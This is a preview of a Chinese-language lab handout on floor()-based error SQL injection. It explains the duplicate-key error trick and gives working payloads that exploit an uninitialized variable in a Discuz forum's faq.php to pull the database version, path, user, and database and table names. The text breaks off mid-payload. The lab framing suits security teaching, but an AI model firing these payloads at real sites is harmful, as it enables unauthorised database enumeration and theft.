SQL注入之floor函数注入.docxVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
SQL注入之floor函数注入

SQL注入之floor函数注入 【实验目的】掌握针对floor函数注入的整个过程及手工注入的语法。【实验原理】报错是因为floor(rand(0)*2的不确定性,group by floor(rand(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。此种报错中,报错结构固定,少一个都不可以,如图1所示:图1需要注意的时此种报错结果都会添加一个1,所以需要将报错出来的结果去掉一个1之后才是最终的结果。如图2所示:图2可以看出需要注入的是数据库版本,正确版本是5.7.13,但是经过报错语句注入出来的是5.7.131,我们需要将最后一位的1去掉,就得到了正确的数据库版本。此处添加的1位置不是固定的,而是取决于payload 的位置。所以在去掉1时需要根据自行构造的payload的位置,如图3所示:根据以上的语法确定了基于floor函数的报错注入的结构如下:select count(*),concat(payload,floor(rand(0)*2))x from information_schema.columns group by x;需要将注入中的payload放在语句中payload的位置。【实验环境】目标站点:192.168.1.3/discus操作机器:192.168.1.2【实验步骤】使用SQL语句进行注入攻击1.1使用Firefox浏览器打开目标站点:192.168.1.3/discuz,访问网页,可以发现discuz/faq.php?action=faqid=1这样的页面, 我们可以对action这个参数进行注入攻击。图31.2 获取数据库相关信息,数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等,当action=grouppermission就可以注入了。因为faq.php中的gids变量没有被初始化产生了注入漏洞,使用固定语句:faq.php?action=grouppermissiongids[99]=gids[100][0]=)加上我们的payload就能实现注入攻击。数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等。使用concat_ws函数将所有信息全部显示出来,payload为:(select 1 from from (select count(*),concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))),floor(rand(0)*2))x information_schema.tables group by x)a)%23 图4如图4所示,可以从页面报错信息中获得数据库的相关信息,数据库为版本为:10.1.13-MariaDB,数据库路径为C:\xampp\mysql\data\,当前用户为:root@localhost,使用的数据库为:discuz。这里注意使用floor(rand(0)*2)函数会在结果后面多加一个1,将1取出后才是正确的结果。1.3 获取所有数据库,使用concat函数在information_schema中的schemata查询数据库名称使用payload为:(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23图5如图5所示,报错信息中获得数据库名称为discuz。1.4获取数据库名称后获取数据库中的表,使用concat函数,在information_schema的tables表中获取表名,使用payload:(select 1 from(select count(*),concat((select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)),floor(rand(0)*2))x from

文档评论(0)

docindpp + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档